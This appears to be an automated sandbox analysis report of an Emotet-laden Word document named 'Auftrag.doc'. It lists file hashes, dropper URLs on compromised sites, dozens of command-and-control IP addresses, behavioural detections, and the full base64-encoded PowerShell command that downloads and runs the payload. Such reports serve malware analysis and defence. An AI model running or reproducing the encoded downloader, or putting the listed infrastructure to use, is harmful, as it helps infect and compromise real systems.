Analysis
- max time kernel
142s - max time network
145s - platform
windows10_x64 - resource
win10 - submitted
14/10/2020, 18:51
Static task
static1
Behavioral task
behavioral1
Sample
Auftrag.doc
Resource
win7v200722
General
- Target Auftrag.doc
- Size 132KB
- Sample201014-hmzknx2vma
- SHA256 0ca76f3ce0892077cddc34613dee3fba40ded3103989e80763106e298c7e91c8
- MD5 9f047fc93bb9b706b5130835029c1c95
- SHA1 d884fc2293e18452a8749e8b89784e8bc599bbef
- SHA512 cf3cdc1c792095408c7da10d7d253b275e224c19f493bd9995fa72a70c27654a0c89a73340fe59ed80b71045ece62f4f4252185552b631f3af528c6a11ef21c4
- MD5 SHA1 SHA512
Malware Config
Extracted
-
ps1
-
exe.dropper
http://transfersuvan.com/wp-admin/07HDv9jur/
-
exe.dropper
http://colfarse.com.ar/colfar/A/
-
exe.dropper
http://ruralagricola.com.br/wp-admin/HZ5sy3nL7/
-
exe.dropper
http://vzminternational.com.br/wp-content/bD4sA/
-
exe.dropper
http://intc.solutions/wp-content/ig9N/
-
exe.dropper
http://helionspharmaceutical.com/wp-admin/gO0/
-
exe.dropper
http://uniteddatabase.net/wp-admin/SjcXyYo/
Extracted
-
emotet
-
Epoch3
-
125.200.20.233:80
-
93.186.197.189:7080
-
188.166.220.180:7080
-
192.175.111.217:7080
-
118.243.83.70:80
-
103.80.51.61:8080
-
185.80.172.199:80
-
172.96.190.154:8080
-
116.202.10.123:8080
-
46.105.131.68:8080
-
223.17.215.76:80
-
192.210.217.94:8080
-
190.194.12.132:80
-
115.79.59.157:80
-
190.191.171.72:80
-
24.231.51.190:80
-
203.153.216.178:7080
-
175.103.38.146:80
-
36.91.44.183:80
-
213.165.178.214:80
-
113.203.238.130:80
-
91.83.93.103:443
-
153.229.219.1:443
-
126.126.139.26:443
-
113.193.239.51:443
-
77.74.78.80:443
-
37.187.100.220:7080
-
198.20.228.9:8080
-
190.117.101.56:80
-
115.79.195.246:80
-
73.55.128.120:80
-
185.208.226.142:8080
-
190.96.15.50:443
-
157.7.164.178:8081
-
79.133.6.236:8080
-
116.91.240.96:80
-
103.93.220.182:80
-
50.116.78.109:8080
-
192.241.220.183:8080
-
8.4.9.137:8080
-
91.75.75.46:80
-
192.163.221.191:8080
-
162.144.145.58:8080
-
190.164.135.81:80
-
5.79.70.250:8080
-
46.32.229.152:8080
-
88.247.58.26:80
-
183.77.227.38:80
-
47.154.85.229:80
-
179.5.118.12:80
-
143.95.101.72:8080
-
103.229.73.17:8080
-
109.13.179.195:80
-
195.201.56.70:8080
-
119.92.77.17:80
-
75.127.14.170:8080
-
172.105.78.244:8080
-
139.59.12.63:8080
-
203.56.191.129:8080
-
202.29.237.113:8080
-
185.142.236.163:443
-
178.33.167.120:8080
-
60.125.114.64:443
-
78.186.65.230:80
-
74.208.173.91:8080
-
2.58.16.86:8080
-
139.59.61.215:443
-
190.85.46.52:7080
-
121.117.147.153:443
-
190.192.39.136:80
-
42.200.96.63:80
-
94.212.52.40:80
-
58.27.215.3:8080
-
45.239.204.100:80
-
180.148.4.130:8080
-
120.51.34.254:80
-
113.161.148.81:80
-
54.38.143.245:8080
-
37.46.129.215:8080
-
41.185.29.128:8080
-
37.205.9.252:7080
-
118.33.121.37:80
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1812 3336 POwersheLL.exe 73 - Emotet Payload 4 IoCs
Detects Emotet payload in memory.
resource yara_rule behavioral2/memory/2476-12-0x00000000006C0000-0x00000000006DF000-memory.dmp emotet behavioral2/memory/2476-13-0x00000000006E0000-0x00000000006FD000-memory.dmp emotet behavioral2/memory/3016-16-0x0000000002090000-0x00000000020AF000-memory.dmp emotet behavioral2/memory/3016-17-0x00000000020B0000-0x00000000020CD000-memory.dmp emotet - Blacklisted process makes network request 3 IoCs
flow pid Process 12 1812 POwersheLL.exe 25 1812 POwersheLL.exe 30 1812 POwersheLL.exe - Executes dropped EXE 2 IoCs
pid Process 2476 U9pruuf.exe 3016 Wldap32.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\Windows.Devices.Custom\Wldap32.exe U9pruuf.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 3888 WINWORD.EXE 3888 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 1812 POwersheLL.exe 1812 POwersheLL.exe 1812 POwersheLL.exe 3016 Wldap32.exe 3016 Wldap32.exe 3016 Wldap32.exe 3016 Wldap32.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1812 POwersheLL.exe - Suspicious use of SetWindowsHookEx 11 IoCs
pid Process 3888 WINWORD.EXE 3888 WINWORD.EXE 3888 WINWORD.EXE 3888 WINWORD.EXE 3888 WINWORD.EXE 3888 WINWORD.EXE 3888 WINWORD.EXE 3888 WINWORD.EXE 3888 WINWORD.EXE 2476 U9pruuf.exe 3016 Wldap32.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 1812 wrote to memory of 2476 1812 POwersheLL.exe 82 PID 1812 wrote to memory of 2476 1812 POwersheLL.exe 82 PID 1812 wrote to memory of 2476 1812 POwersheLL.exe 82 PID 2476 wrote to memory of 3016 2476 U9pruuf.exe 83 PID 2476 wrote to memory of 3016 2476 U9pruuf.exe 83 PID 2476 wrote to memory of 3016 2476 U9pruuf.exe 83
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Auftrag.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3888
-
C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exePOwersheLL -ENCOD JABGAHMAZwA2AGgANwA3AD0AWwBjAGgAYQByAF0ANAAyADsAJABKAGcAMwB2AG8ANQA3AD0AKAAoACcAUQBtACcAKwAnAGMAJwApACsAJwBwAGkAJwArACcANQB5ACcAKQA7AC4AKAAnAG4AZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAEUATgBWADoAdQBTAGUAUgBQAFIAbwBGAEkATABlAFwAdABjAGUAcQBCAFcAbQBcAEQAYwB4AFcARwBDAEsAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAHIARQBjAHQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBjAGAAVQBgAFIAaQB0AFkAYABwAHIAbwBUAE8AQwBgAG8AbAAiACAAPQAgACgAJwB0AGwAJwArACcAcwAxACcAKwAoACcAMgAnACsAJwAsACAAdAAnACkAKwAnAGwAcwAnACsAKAAnADEAMQAsACAAdAAnACsAJwBsAHMAJwApACkAOwAkAEwAawBtAG8AcABvAHoAIAA9ACAAKAAnAFUAOQAnACsAKAAnAHAAJwArACcAcgB1AHUAJwApACsAJwBmACcAKQA7ACQAWQBnAGoAbgAzAGMAeQA9ACgAJwBHAGoAJwArACcAcgAnACsAKAAnAGIAJwArACcAZQBsADMAJwApACkAOwAkAEQAegBkAGcAdQB5AF8APQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAewAnACsAJwAwAH0AJwArACcAVAAnACsAJwBjAGUAJwArACcAcQBiAHcAbQB7ADAAfQAnACsAKAAnAEQAYwB4ACcAKwAnAHcAZwAnACkAKwAnAGMAawAnACsAJwB7ADAAfQAnACkAIAAtAGYAWwBDAEgAQQByAF0AOQAyACkAKwAkAEwAawBtAG8AcABvAHoAKwAoACcALgAnACsAKAAnAGUAeAAnACsAJwBlACcAKQApADsAJABGAHgANQB6AHUAOAA5AD0AKAAnAEsAJwArACgAJwBuADQAJwArACcAagB4ADQAJwApACsAJwBuACcAKQA7ACQATwA1ADgAMwBsAGsAaQA9ACYAKAAnAG4AZQB3AC0AJwArACcAbwAnACsAJwBiAGoAZQBjAHQAJwApACAATgBlAHQALgBXAGUAYgBjAEwASQBlAG4AdAA7ACQAUABuAG0AaAA2ADIAaAA9ACgAKAAnAGgAJwArACcAdAAnACsAJwB0AHAAOgAvAC8AJwApACsAKAAnAHQAcgAnACsAJwBhAG4AcwAnACsAJwBmACcAKQArACcAZQAnACsAJwByACcAKwAnAHMAdQAnACsAJwB2ACcAKwAoACcAYQBuAC4AYwAnACsAJwBvAG0AJwApACsAJwAvAHcAJwArACgAJwBwAC0AYQBkAG0AaQBuACcAKwAnAC8AJwApACsAJwAwACcAKwAnADcAJwArACgAJwBIAEQAJwArACcAdgAnACkAKwAnADkAagAnACsAKAAnAHUAcgAnACsAJwAvACoAJwApACsAJwBoAHQAJwArACgAJwB0AHAAJwArACcAOgAnACsAJwAvAC8AJwArACcAYwBvAGwAZgBhAHIAJwApACsAJwBzACcAKwAoACcAZQAuAGMAJwArACcAbwBtACcAKQArACgAJwAuACcAKwAnAGEAcgAvAGMAbwAnACkAKwAoACcAbAAnACsAJwBmAGEAJwApACsAKAAnAHIALwBBAC8AKgAnACsAJwBoAHQAdABwACcAKwAnADoAJwApACsAKAAnAC8ALwByACcAKwAnAHUAJwApACsAKAAnAHIAYQBsAGEAZwByACcAKwAnAGkAJwApACsAJwBjAG8AJwArACgAJwBsAGEAJwArACcALgBjACcAKQArACcAbwAnACsAKAAnAG0ALgBiACcAKwAnAHIAJwApACsAKAAnAC8AJwArACcAdwBwAC0AYQBkAG0AaQAnACsAJwBuACcAKQArACcALwAnACsAKAAnAEgAWgAnACsAJwA1AHMAJwApACsAKAAnAHkAJwArACcAMwBuACcAKQArACgAJwBMACcAKwAnADcAJwArACcALwAqAGgAdAAnACkAKwAoACcAdAAnACsAJwBwADoAJwApACsAJwAvAC8AJwArACcAdgB6ACcAKwAoACcAbQBpACcAKwAnAG4AJwApACsAJwB0ACcAKwAoACcAZQByACcAKwAnAG4AYQB0AGkAJwApACsAKAAnAG8AbgAnACsAJwBhAGwAJwApACsAJwAuACcAKwAnAGMAbwAnACsAJwBtACcAKwAoACcALgBiACcAKwAnAHIALwB3AHAALQBjACcAKwAnAG8AJwApACsAKAAnAG4AdAAnACsAJwBlACcAKQArACgAJwBuAHQALwBiACcAKwAnAEQANABzACcAKQArACgAJwBBAC8AJwArACcAKgAnACkAKwAnAGgAJwArACgAJwB0AHQAcAA6ACcAKwAnAC8AJwApACsAKAAnAC8AaQAnACsAJwBuACcAKQArACgAJwB0ACcAKwAnAGMALgBzAG8AbAB1ACcAKQArACgAJwB0AGkAJwArACcAbwAnACkAKwAnAG4AJwArACcAcwAnACsAKAAnAC8AdwAnACsAJwBwAC0AYwAnACkAKwAnAG8AbgAnACsAJwB0AGUAJwArACgAJwBuAHQALwAnACsAJwBpAGcAJwApACsAJwA5ACcAKwAoACcATgAnACsAJwAvACoAaAB0ACcAKQArACgAJwB0AHAAJwArACcAOgAvACcAKwAnAC8AaAAnACkAKwAoACcAZQBsACcAKwAnAGkAJwApACsAKAAnAG8AJwArACcAbgBzACcAKQArACgAJwBwAGgAYQByAG0AYQBjACcAKwAnAGUAJwArACcAdQB0ACcAKQArACgAJwBpAGMAJwArACcAYQAnACkAKwAnAGwAJwArACcALgAnACsAJwBjAG8AJwArACcAbQAnACsAJwAvACcAKwAoACcAdwBwACcAKwAnAC0AYQAnACkAKwAoACcAZAAnACsAJwBtAGkAbgAvAGcATwAwAC8AKgAnACsAJwBoAHQAdABwADoALwAvACcAKwAnAHUAJwArACcAbgBpAHQAJwApACsAKAAnAGUAZABkACcAKwAnAGEAdABhACcAKQArACcAYgBhACcAKwAoACcAcwBlAC4AbgBlAHQAJwArACcALwB3AHAAJwApACsAKAAnAC0AYQBkAG0AJwArACcAaQBuACcAKQArACcALwAnACsAJwBTACcAKwAoACcAagBjAFgAJwArACcAeQAnACkAKwAnAFkAbwAnACsAJwAvACcAKQAuACIAcwBQAGAATABJAFQAIgAoACQARgBzAGcANgBoADcANwApADsAJABBADkAdwBpAHYAdAAxAD0AKAAoACcAUwA4ACcAKwAnAGcAJwApACsAJwAwAG4AJwArACcAdwBnACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFcAbABnAGsAOQBwAHoAIABpAG4AIAAkAFAAbgBtAGgANgAyAGgAKQB7AHQAcgB5AHsAJABPADUAOAAzAGwAawBpAC4AIgBEAE8AVwBgAE4ATABgAE8AYQBgAEQAZgBJAGwARQAiACgAJABXAGwAZwBrADkAcAB6ACwAIAAkAEQAegBkAGcAdQB5AF8AKQA7ACQARQBzAGsAOQAyAHEAagA9ACgAJwBGACcAKwAoACcAOQA5AHAAagAnACsAJwBwACcAKQArACcAdAAnACkAOwBJAGYAIAAoACgAJgAoACcARwBlAHQAJwArACcALQBJAHQAJwArACcAZQBtACcAKQAgACQARAB6AGQAZwB1AHkAXwApAC4AIgBMAGUAbgBnAGAAVABoACIAIAAtAGcAZQAgADIAOAA3ADUAMAApACAAewAmACgAJwBJAG4AdgBvAGsAJwArACcAZQAnACsAJwAtACcAKwAnAEkAdABlAG0AJwApACgAJABEAHoAZABnAHUAeQBfACkAOwAkAFEAXwBnAHoAdABuAHkAPQAoACgAJwBIAF8AJwArACcAeQAxACcAKQArACgAJwBfACcAKwAnADkANAAnACkAKQA7AGIAcgBlAGEAawA7ACQASQBjAGUAdABxAGQAdgA9ACgAJwBPAF8AJwArACcAeAB2ACcAKwAoACcAawBrACcAKwAnAGsAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFQAYgAxAHgAXwA0AHgAPQAoACgAJwBQACcAKwAnAGEAcQBxAHcAJwApACsAJwBtAGoAJwApAA==1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1812 -
C:\Users\Admin\Tceqbwm\Dcxwgck\U9pruuf.exe"C:\Users\Admin\Tceqbwm\Dcxwgck\U9pruuf.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2476 -
C:\Windows\SysWOW64\Windows.Devices.Custom\Wldap32.exe"C:\Windows\SysWOW64\Windows.Devices.Custom\Wldap32.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:3016
-
-